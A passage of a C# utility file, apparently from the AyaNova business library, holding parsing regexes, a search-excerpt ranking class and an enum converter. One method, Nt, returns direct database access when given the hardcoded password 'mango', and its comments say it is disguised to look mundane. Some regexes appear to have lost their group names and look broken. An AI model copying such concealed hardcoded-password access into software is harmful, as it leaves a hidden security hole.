"?)|(src*?[\\s]?=[\\s\\\"\\']+(.*?)[\\\"\\']+.*?))((src*?[\\s" + "]?=[\\s\\\"\\']+(.*?)[\\\"\\']+.*?>)|(alt*?[\\s]?=[\\s\\\"\\'" + "]+(.*?)[\\\"\\']+.*?>)|>)", RegexOptions.IgnoreCase | RegexOptions.CultureInvariant | RegexOptions.IgnorePatternWhitespace | RegexOptions.Compiled ); /* ]*?((alt*?[\s]?=[\s\"\']+(.*?)[\"\']+.*?)|(src*?[\s]?=[\s\"\']+(.*?)[\"\']+.*?))((src*?[\s]?=[\s\"\']+(.*?)[\"\']+.*?>)|(alt*?[\s]?=[\s\"\']+(.*?)[\"\']+.*?>)|>) * */ /// /// Find the image tags stored in the picw in RichTextBox formatted rtf /// public static Regex rxRtfPicwTags = new Regex( "(?<={\\\\pict\\\\wmetafile8\\\\picw)\\d+", RegexOptions.IgnoreCase | RegexOptions.CultureInvariant | RegexOptions.IgnorePatternWhitespace | RegexOptions.Compiled ); /// /// Extract entire image rtf /// public static Regex rxRtfPics = new Regex( "{\\\\pict\\\\wmetafile8\\\\[^}]+", RegexOptions.Multiline | RegexOptions.Compiled ); /// /// Find AyaNova image tags /// public static Regex rxAyaImageTags = new Regex( "\\[AyaImage:(?\\{{0,1}([0-9a-fA-F]){8}-([0-9a-fA-F]){4" + "}-([0-9a-fA-F]){4}-([0-9a-fA-F]){4}-([0-9a-fA-F]){12}\\}{0,1" + "})\\]", RegexOptions.IgnoreCase | RegexOptions.CultureInvariant | RegexOptions.IgnorePatternWhitespace | RegexOptions.Compiled );//Original expression: (?<={\\pict\\wmetafile8\\picw)\d+ /// /// Match email addresses that are prefaced by whitespace or > /// and have no mailto:// protocol /// /// /// Email address alone is in named capture group "url" /// i.e. matches support@ayanova.com and not mailto://support@ayanova.com /// /// public static Regex rxEmailWithoutProtocol = new Regex( "(?:[\\s\\>])(?([a-zA-Z0-9_\\-\\.]+)@((\\[[0-9]{1,3}\\.[" + "0-9]{1,3}\\.[0-9]{1,3}\\.)|(([a-zA-Z0-9\\-]+\\.)+))([a-zA-Z]" + "{2,4}|[0-9]{1,3}))", RegexOptions.IgnoreCase | RegexOptions.CultureInvariant | RegexOptions.IgnorePatternWhitespace | RegexOptions.Compiled );//Expression: (?:[\s\>])(?([a-zA-Z0-9_\-\.]+)@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.)|(([a-zA-Z0-9\-]+\.)+))([a-zA-Z]{2,4}|[0-9]{1,3})) /// /// Find all urls with mailto, news, ftp and http(s) protocols /// public static Regex rxAllUrlsWithProtocol = new Regex( "((mailto\\:|(news|(ht|f)tp(s?))\\://){1}\\S+)", RegexOptions.IgnoreCase | RegexOptions.CultureInvariant | RegexOptions.IgnorePatternWhitespace | RegexOptions.Compiled );//Expression: ((mailto\:|(news|(ht|f)tp(s?))\://){1}\S+) /// /// Match web url's that are preceded by whitespace or > and /// followed by whitespace or greater than character and /// do not have an http:// protocol /// Url alone is in match group "url" /// i.e. matches www.ayanova.com and does not match /// http://www.ayanova.com /// public static Regex rxWebsiteUrlsWithoutProtocol = new Regex( "(?:[\\s\\>])(?www.[^\\s\\<]*)", RegexOptions.IgnoreCase | RegexOptions.CultureInvariant | RegexOptions.IgnorePatternWhitespace | RegexOptions.Compiled );//Expression: (?:[\s\>])(?www.[^\s\<]*) result is in named group url /// /// Match entire href tags /// public static Regex rxAllHrefTags = new Regex( "(?:.*?)[\"\"'].*?>)(?(?>(?)|(?<-DEPTH>)|.)+)(?(DEPTH)(?!))(?:) ", RegexOptions.IgnoreCase | RegexOptions.CultureInvariant | RegexOptions.IgnorePatternWhitespace | RegexOptions.Compiled );//expression: (?:.*?)[""'].*?>)(?(?>(?)|(?<-DEPTH>)|.)+)(?(DEPTH)(?!))(?:) /// /// Used to determine if a target tag is in an href /// public static Regex rsHrefContainsTargetTag = new Regex( "\\starget\\s*=", RegexOptions.IgnoreCase | RegexOptions.CultureInvariant | RegexOptions.IgnorePatternWhitespace | RegexOptions.Compiled );//Expression: \starget\s*= /// /// Used to compile the stopwords into a list from the StopWords(n) localized text keys when /// performing word breaking during search dictionary indexing /// public static Regex rxAllWords = new Regex( "\\w+", RegexOptions.IgnoreCase | RegexOptions.CultureInvariant | RegexOptions.IgnorePatternWhitespace | RegexOptions.Compiled ); //case 1375 public static Regex rxQuickNotifySubject = new Regex( "(?.*)(?.*)", RegexOptions.IgnoreCase | RegexOptions.CultureInvariant | RegexOptions.Multiline | RegexOptions.Compiled ); //case 1346 public static Regex rxSignatureParser = new Regex( "version=(?\\d+)\\W*width=(?\\d+)\\W*height=(" + "?\\d+)\\W*captured=(?\\d*):(?\\d*):(?\\d*):(?\\d*):(?\\d*):(?\\d*)}(?.*)", RegexOptions.CultureInvariant | RegexOptions.Compiled ); #pragma warning restore 1591 #endregion regular expressions #region Direct DB Access // //for case 15 and possible other future uses need access to the database directly // //but we don't want people to gain access willy nilly so password protect and disguise it // //as something mundane and make it trouble for vb people /// /// DEPRECATED - do not use /// /// /// [EditorBrowsable(EditorBrowsableState.Never), Browsable(false)] public static object Nt(string s) { if (string.IsNullOrEmpty(s) || s != "mango") return null; return DBUtil.DB; } #endregion #region case 1468 ad-hoc report access of biz object /// /// for reports that use api objects /// /// public static string[] GetBizObjectLibraryDllPaths() { string[] s = new string[6]; try { foreach (System.Reflection.Assembly a in AppDomain.CurrentDomain.GetAssemblies()) { //skip dynamically loaded assemblies if (a.ManifestModule.GetType().Namespace != "System.Reflection.Emit") { if ((a.Location.IndexOf("GZTW.AyaNova.BLL.dll", StringComparison.InvariantCultureIgnoreCase) >= 0) && string.IsNullOrEmpty(s[0])) s[0] = a.Location; if ((a.Location.IndexOf("CSLA.DLL", StringComparison.InvariantCultureIgnoreCase) >= 0) && string.IsNullOrEmpty(s[1])) s[1] = a.Location; if ((a.Location.IndexOf("CSLA.Core.Bindablebase.dll", StringComparison.InvariantCultureIgnoreCase)) >= 0 && string.IsNullOrEmpty(s[2])) s[2] = a.Location; if ((a.Location.IndexOf("GZTW.Data.dll", StringComparison.InvariantCultureIgnoreCase)) >= 0 && string.IsNullOrEmpty(s[3])) s[3] = a.Location; if ((a.Location.IndexOf("GZTW.Profile.dll", StringComparison.InvariantCultureIgnoreCase)) >= 0 && string.IsNullOrEmpty(s[4])) s[4] = a.Location; if ((a.Location.IndexOf("CSLA.Server.DataPortal.dll", StringComparison.InvariantCultureIgnoreCase)) >= 0 && string.IsNullOrEmpty(s[5])) s[5] = a.Location; } } } catch { } return s; } #endregion #region Semantic versioning helper /// /// Return a semantic versioning display of assembly version information /// /// /// public static string DisplayVersion(Version fileVersion)//case 2003 { return fileVersion.Major.ToString() + "." + fileVersion.Minor.ToString(); } #endregion } #region Search rank and extract /// /// Rank and extract best excerpt of specified text and search terms /// public sealed class ExtractAndRank { #region Fields private string[] searchTerms; private string rawtext; private string extract = ""; private bool flattenExtract = true; private float ranking; private int extractionThresholdRank = 10; private int maximumCharactersToExtract = 80; #endregion #region Properties /// /// This is the ranking of the source text as it pertains to the /// search terms /// /// A rank of zero means either there was no match or the rank that was calculated /// was lower than the threshold ranking, either way, no excerpt extraction is done. /// /// It is a percentage value on a scale of 0 to 100 /// and is weighted: /// /// 75% of the score is the percentage of all search terms found in the text /// 25% of the score is the percentage of all characters in the text that are search term characters /// /// /// public float Ranking { get { return ranking; } } /// /// Maximum characters to appear in an extraction /// default is 80 /// Minimum is 10 /// public int MaximumCharactersToExtract { get { return maximumCharactersToExtract; } set { if (value > 10) maximumCharactersToExtract = value; else maximumCharactersToExtract = 10; } } /// /// ExtractionThresholdRank /// Extraction will only take place if the rank is /// this value or higher /// /// default is 10, maximum is 100 minimum is 0 /// public int ExtractionThresholdRank { get { return extractionThresholdRank; } set { if (value > 100) extractionThresholdRank = 100; else if (value < 0) extractionThresholdRank = 0; else extractionThresholdRank = value; } } /// /// If true, carriage returns and line feeds will be removed from extract /// public bool FlattenExtract { get { return this.flattenExtract; } set { this.flattenExtract = value; } } /// /// Extracted text excerpt that best reflects search terms /// public string Extract { get { return extract; } } #endregion #region public methods /// /// Do the extraction and ranking /// /// /// public void Process(string rawText, string[] searchTerms) { ranking = 0; extract = ""; //System.Diagnostics.Debug.Assert(rawText!=null && rawText!="","EXTRACT AND RANK","EMPTY RAWTEXT, CHECK OBJECTS GetSearchResult() CODE TO ENSURE IT'S GOT THE correct SP (CHECK THE SP IF NOT)"); if (rawText == null || rawText == "") return; this.rawtext = rawText; if (searchTerms == null || searchTerms.Length == 0) return; this.searchTerms = searchTerms; ranking = score(0, this.rawtext.Length); if (ranking > extractionThresholdRank) DoExtract(); } #endregion #region Calculate score /// /// Give a percentage score for a given window of /// text in the raw text string /// 75% of the score is the percentage of all search terms found in the window /// 25% of the score is the percentage of all characters in the search window that are search term characters /// /// /// /// /// /// /// Float value of zero to one hundred private float score(int nStartPos, int nEndPos) { //rewrite this as an integer based calculation System.Diagnostics.Debug.Assert(nStartPos < nEndPos); if (nStartPos < 0) nStartPos = 0; if (nEndPos > this.rawtext.Length) nEndPos = this.rawtext.Length; int nTermCharsInWindow = 0;//how many of the characters in the window are matching term characters string SearchString = this.rawtext.Substring(nStartPos, nEndPos - nStartPos).ToLower(System.Globalization.CultureInfo.CurrentCulture); int nMatches = 0; foreach (string term in searchTerms) { //remove the wild card character if present and set to lower case string lTerm = term.ToLower(System.Globalization.CultureInfo.CurrentCulture).Replace("%", ""); int nLocation = SearchString.IndexOf(lTerm); if (nLocation != -1) { nMatches++; while (nLocation != -1) { nTermCharsInWindow += lTerm.Length; ; nLocation = SearchString.IndexOf(lTerm, nLocation + 1); } } } //If no matches then rank is automatically zero if (nMatches == 0) { return 0; } //Rank is calculated on a weighted scale //75% for matching all search terms //25% for the quantity of search terms versus other text found float fTermsFoundPct = 75 * ((float)nMatches / (float)searchTerms.GetLength(0)); float fTermsVsTextPct = 0; if (nTermCharsInWindow > 0) fTermsVsTextPct = 25 * ((float)nTermCharsInWindow / (float)SearchString.Length); return fTermsFoundPct + fTermsVsTextPct; } #endregion #region Extract best excerpt /// /// Extract the best scoring excerpt fragments of /// raw text /// private void DoExtract() { //If the whole thing is less than the max to extract //just save time and return the whole thing if (this.rawtext.Length < this.maximumCharactersToExtract) { this.extract = this.rawtext; return; } string BestWindow = ""; float BestScore = 0; float thisscore = 0; int BestWindowStartPos = 0; //Get the shortest search term length so //we can save time iterating over the window in the extract //function below int shortestSearchTermLength = int.MaxValue; foreach (string s in this.searchTerms) { if (s.Length < shortestSearchTermLength) shortestSearchTermLength = s.Length; } //slide a window over the text and check it's score, the highest scoring window wins //move the length of the shortest search term so as to ensure we won't //miss it, but faster than moving one character at a time for (int x = 0; x < this.rawtext.Length - maximumCharactersToExtract; x += shortestSearchTermLength) { thisscore = score(x, x + (maximumCharactersToExtract)); if (thisscore == 0) continue; if (thisscore > BestScore) { BestScore = thisscore; BestWindow = this.rawtext.Substring(x, maximumCharactersToExtract); //Best window to get if the future score is equal //I.E. put the terms in the center of the window if //the score is equal BestWindowStartPos = x + (maximumCharactersToExtract / 2); } //If it's equal to the last and we're positioned over //the best spot (terms in center) then capture that if (thisscore == BestScore && x == BestWindowStartPos) { BestWindow = this.rawtext.Substring(x, maximumCharactersToExtract); } } if (this.flattenExtract) this.extract = "..." + BestWindow.Trim().Replace("\r", "").Replace("\n", "").Replace("\t", "") + "...";//case 1593 added tab character removal else this.extract = "..." + BestWindow.Trim() + "..."; } //======================================================================== #endregion } #endregion Xtract #region Enum TYPE converter /// /// EnumConverter supporting System.ComponentModel.DescriptionAttribute /// Use this to fetch the localized text representation of an Enum item's description /// public class EnumDescConverter : System.ComponentModel.EnumConverter { /// /// /// protected System.Type myVal; /// /// Gets Enum Value's Description Attribute /// This can be called directly from anywhere to return /// the localized text value of an enumeration. /// /// The value you want the description attribute for /// The description, if any, else it's .ToString() public static string GetEnumDescription(Enum value) { FieldInfo fi = value.GetType().GetField(value.ToString()); DescriptionAttribute[] attributes = (DescriptionAttribute[])fi.GetCustomAttributes( typeof(DescriptionAttribute), false); if (!(attributes.Length > 0)) return value.ToString(); if (attributes[0].Description.StartsWith("LT:")) { return LocalizedTextTable.GetLocalizedTextDirect(attributes[0].Description.Replace("LT:", "")); } else return attributes[0].Description; } /// /// Gets the description for certaing named value in an Enumeration /// /// The type of the Enumeration /// The name of the Enumeration value /// The description, if any, else the passed name public static string GetEnumDescription(System.Type value, string name) { FieldInfo fi = value.GetField(name); DescriptionAttribute[] attributes = (DescriptionAttribute[])fi.GetCustomAttributes( typeof(DescriptionAttribute), false); if (!(attributes.Length > 0)) return name; if (attributes[0].Description.StartsWith("LT:")) { return LocalizedTextTable.GetLocalizedTextDirect(attributes[0].Description.Replace("LT:", "")); } else return attributes[0].Description; //return (attributes.Length>0)?attributes[0].Description:name; } /// /// Gets the value of an Enum, based on it's Description Attribute or named value /// /// The Enum type /// The description or name of the element /// The value, or the passed in description, if it was not found public static object GetEnumValue(System.Type value, string description) { FieldInfo[] fis = value.GetFields(); foreach (FieldInfo fi in fis) { DescriptionAttribute[] attributes = (DescriptionAttribute[])fi.GetCustomAttributes( typeof(DescriptionAttribute), false); if (attributes.Length > 0) { //Localized? if (attributes[0].Description.StartsWith("LT:")) { //see if decoded string equals passed in string if (LocalizedTextTable.GetLocalizedTextDirect(attributes[0].Description.Replace("LT:", "")) == description) { return fi.GetValue(fi.Name); } } else {//Not localized... if (attributes[0].Description == description) { return fi.GetValue(fi.Name); } } } if (fi.Name == description) { return fi.GetValue(fi.Name); } } return description; } /// /// /// /// public EnumDescConverter(System.Type type) : base(type) { myVal = type; } /// /// /// /// /// /// /// /// public override object ConvertTo(ITypeDescriptorContext context, System.Globalization.CultureInfo culture, object value, Type destinationType) { if (value is Enum && destinationType == typeof(string)) { return GetEnumDescription((Enum)value); } if (value is string && destinationType == typeof(string)) { return GetEnumDescription(myVal, (string)value); } return base.ConvertTo(context, culture, value, destinationType); } /// /// /// /// /// /// /// public override object ConvertFrom(ITypeDescriptorContext context, System.Globalization.CultureInfo culture, object value) { if (value is string) { return GetEnumValue(myVal, (string)value); } if (value is Enum) { return GetEnumDescription((Enum)value); } return base.ConvertFrom(context, culture, value); } } #endregion }